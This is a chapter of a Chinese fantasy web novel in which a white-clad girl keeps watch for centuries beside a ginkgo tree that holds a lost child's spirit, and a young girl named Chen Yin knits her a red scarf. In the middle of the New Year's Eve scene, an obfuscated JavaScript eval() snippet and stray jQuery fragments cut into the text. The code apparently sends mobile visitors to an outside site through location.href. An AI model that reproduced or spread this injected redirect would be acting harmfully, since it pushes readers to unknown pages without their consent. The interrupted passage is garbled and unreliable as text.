默认冷灰
24号文字
方正启体

26. 两千年后

作者:魔王金唯一的母亲本书字数:K更新时间:
    2370年3月21日,春分。


    白色女孩在地球的第——没有人计算了。


    从她第一次跨入那扇门算起,两千三百年。


    从她决定永远留下算起,两百年。


    门扉依然虚掩。


    秋千架换过多少次?没有人记得。


    长椅换过多少次?没有人记得。


    红围巾增加到了第一百七十三条——从陈苗苗八岁织的第一条,到陈茵去年织的最新一条。


    那棵银杏树活了两千四百年。


    它的主干粗壮到需要五十个人才能合抱。树冠覆盖了整片流变区。半透明的果实不再是鸡蛋大小,而是拳头大小,每一颗里都封存着一片旋转的叶子——那是周奕然的叶子,也是林小雨的形状,也是两百代人在树下留下的所有记忆。


    树皮上的人脸轮廓越来越清晰。


    不是“像”林小雨。


    是林小雨。


    两千三百年前那个五岁女孩,第一次画这棵树时,不会想到有一天自己会变成它。


    但她确实变成了。


    以树的形状。


    以维拉的方式。


    以人类等待两千年换来的、缓慢而温柔的奇迹。


    白色女孩站在树下。


    她颈间的红围巾已经增加到一百七十三条。起球起得最厉害的那条,依然系在最靠近心脏的位置。


    “小雨。” 她轻声说。


    树皮上的轮廓微微亮起。


    “今天春分。”


    轮廓又亮了一下。


    “你记得吗?”


    第三次亮起。


    “两千三百年前,你第一次问我:白色姐姐,你会飞走吗?”


    轮廓亮了很久很久。


    像在说:记得。


    像在说:每一句话都记得。


    白色女孩伸出手,轻轻贴在那张树皮脸上。


    “我不会飞走了。” 她说。


    “这里也是我的家了。”


    轮廓微微颤动。


    满树的果实同时亮起。


    一千七百三十颗。


    像一千七百三十双眼睛。


    像一千七百三十句“我知道”。


    远处,秋千架上传来孩子的笑声。


    陈茵十岁了。


    她穿着红裙子,被妈妈轻轻推着,荡得越来越高。


    “妈妈——!”她回头喊,“我看到门了!”


    陈荷站在秋千后面。


    “门里有什么?”


    陈茵眯着眼睛看了一会儿。


    “光!”她说,“金色的光!”


    陈荷没有说话。


    她只是把秋千推得更高一点。


    傍晚,陈茵跑到银杏树下。


    白色女孩还坐在那里。


    树皮上的脸还亮着。


    长椅上的红围巾还在摇曳。


    “白色姐姐,”陈茵爬上她旁边的位置,“你一直坐在这里吗?”


    “嗯。”


    “不无聊吗?”


    白色女孩想了想。


    “不无聊。” 她说,“有人在陪我。”


    陈茵顺着她的目光望向那棵树。


    “树树?”


    “嗯。”


    陈茵点点头。


    她靠在那道微凉的轮廓上,望着那棵活了二千四百年的老树。


    “白色姐姐,”她忽然问,“你会永远在这里吗?”


    白色女孩没有立刻回答。


    她望着那张树皮上的脸。


    望着那条已经起球起得几乎看不出原样的红围巾。


    望着远处那扇虚掩的门。


    “会。” 她说。


    “永远是多远?”


    “像那棵树那么远。”


    陈茵想了想。


    “那棵树能活多久?”


    “很久很久。”


    “比你还久?”


    白色女孩轻轻笑了一下。


    “可能。” 她说,“它学会了一些我不会的事。”


    陈茵好奇地仰起脸。


    “什么事?”


    “等人。” 白色女孩说,“用不会消失的方式等。”


    陈茵似懂非懂地点点头。


    她打了个哈欠。


    “我困了。”


    “那就睡吧。”


    陈茵靠在白色女孩肩上,闭上眼睛。


    晚风穿过银杏叶隙。


    沙沙。


    沙沙。


    她睡着了。


    白色女孩轻轻揽着她。


    望着那棵老树。


    望着那张两千三百年来从未离开过的脸。


    “你看。” 她轻声说,“又一个。”


    树皮上的脸微微亮起。


    像在笑。


    像在说:我看到了。


    夜色渐深。


    秋千架静静地立着。


    门扉里透出金色的光。


    长椅上的红围巾在风里摇曳。


    一百七十三条。


    每一针。


    每一线。


    每一个松垮垮的结。


    都在说:


    “我们在这里。”


    “一直在。”


    “永远在。”


    2370年5月。


    陈茵在银杏树下画了一幅画。


    画的是那棵树。


    树下坐着一个白裙子的姐姐。


    长椅上挂满红围巾。


    秋千架上有个穿红裙子的小女孩在荡。


    天上有一扇门。


    门开着。


    画完,她举起来给白色女孩看。


    “像吗?”


    白色女孩看了很久。


    “像。” 她说。


    陈茵满意地点点头。


    她拿出彩铅,在画的下方歪歪扭扭地写上日期:


    2370年5月17日


    然后,她想了想,又在日期下面加了一行字:


    “白色姐姐说她会永远在这里。”


    “我相信她。”


    她把这幅画收进书包。


    第二天,她把它带到了文化馆。


    挂在立柱之间的展示格上。


    和两千三百年前另一幅五岁女孩画的画并排挂在一起。


    一幅画的是门。


    一幅画的是树。


    一幅画的是等待的开始。


    一幅画的是等待的——没有结束。


    因为永远不会有结束。


    2370年12月。


    陈荷带陈茵去给陈苜扫墓。


    墓碑在银杏树下。


    和所有流变区的人一样。


    碑上刻着三行字:


    陈苜


    2320-2380


    “她会回来”


    陈茵把一束银杏叶放在碑前。


    “外婆,”她说,“白色姐姐没有走。”


    陈荷站在她身后。


    “我知道。”


    “她说她会永远在这里。”


    “我知道。”


    陈茵抬起头,望着那棵活了二千四百年的老树。


    “妈妈,林校长真的在那棵树里吗?”


    陈荷沉默了几秒。


    “真的。”


    “你怎么知道?”


    陈荷没有回答。


    她只是伸出手,轻轻贴在树皮上。


    树皮微微亮起。


    像在说:我在。


    陈茵也伸出手。


    “林校长,”她说,“我叫陈茵。我今年十岁。”


    树皮亮得更久了一些。


    像在说:你好,陈茵。


    陈茵笑起来。


    “她真的在。”


    2370年12月31日,跨年夜。


    流变区举办银杏节


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317003|198966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    从傍晚开始,人们陆续聚集到银杏树下。


    灯笼。春联。饺子。合唱。


    和两百年前一样。


    和一千年后大概也一样。


    陈茵坐在秋千上,被妈妈轻轻推着。


    她荡得很高很高。


    高到能看见门扉里永不熄灭的光。


    “妈妈——!”


    “嗯?”


    “门那边是什么?”


    陈荷没有回答。


    白色女孩替她回答了:


    “那边也是家。”


    陈茵回头,望向树下那道白色的轮廓。


    “那你有两个家?”


    “嗯。”


    “真好。”


    她继续荡。


    红色裙摆在夜风中扬起。


    像一片永远不会落下的叶子。


    午夜。


    钟声从流变区外传来。


    新的一年开始了。


    陈茵从秋千上跳下来,跑到长椅边。


    “白色姐姐,新年快乐!”


    白色女孩看着她。


    “新年快乐。”


    陈茵从口袋里掏出一条围巾。


    针脚歪歪扭扭,边缘参差不齐。


    和两千三百年前陈苗苗织的第一条一模一样。


    “这是我织的第一条,”她把围巾举起来,“给你!”


    白色女孩接过那条围巾。


    低头看了很久。


    “和你曾曾曾曾曾祖母织的第一条一模一样。” 她说。


    陈茵惊讶地睁大眼睛。


    “你知道我曾曾曾曾曾祖母?”


    “知道。” 白色女孩说,“她叫陈苗苗。她八岁时织了第一条围巾给我。”


    “她说过,等她的后代学会织围巾,让她们也织给我。”


    她顿了顿。


    “你是第六十八个。”


    陈茵似懂非懂地点点头。


    她把围巾系在白色女孩颈间。


    一百七十四条。


    白色女孩站起来。


    她走到长椅前,把那第一百七十四条围巾和其他的系在一起。


    打了个松垮垮的结。


    然后她回到长椅左侧,坐下。


    陈茵爬上她旁边的位置。


    “白色姐姐,”她靠在那道微凉的轮廓上,“讲个故事吧。”


    “什么故事?”


    “讲你怎么认识林校长的故事。”


    白色女孩沉默了几秒。


    然后她开口。


    “很久很久以前,” 她说,“有一个五岁的小女孩。”


    “她画了一扇门。”


    “门后面有一个穿白裙的姐姐,等了一万两千年。”


    陈茵仰起脸。


    “那个小女孩就是林校长吗?”


    “嗯。”


    “她后来怎么样了?”


    白色女孩望着那棵老树。


    望着树皮上那张两千三百年来永远微笑的脸。


    “她变成了一棵树。” 她说。


    “一直在等我。”


    陈茵想了想。


    “她等到了吗?”


    白色女孩伸出手,轻轻覆在她手背上。


    凉凉的。


    像晚风拂过水面。


    像月光落在掌心。


    “等到了。” 她说。


    “现在她不用等了。”


    “我也到家了。”


    陈茵点点头。


    她把头靠在白色女孩肩上。


    晚风吹过银杏叶隙。


    沙沙。


    沙沙。


    远处,秋千架静静地立着。


    门扉里透出金色的光。


    长椅上,一百七十四条红围巾轻轻摇曳。


    夜色温柔。


    时间还在走。


    但此刻——


    足够漫长。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)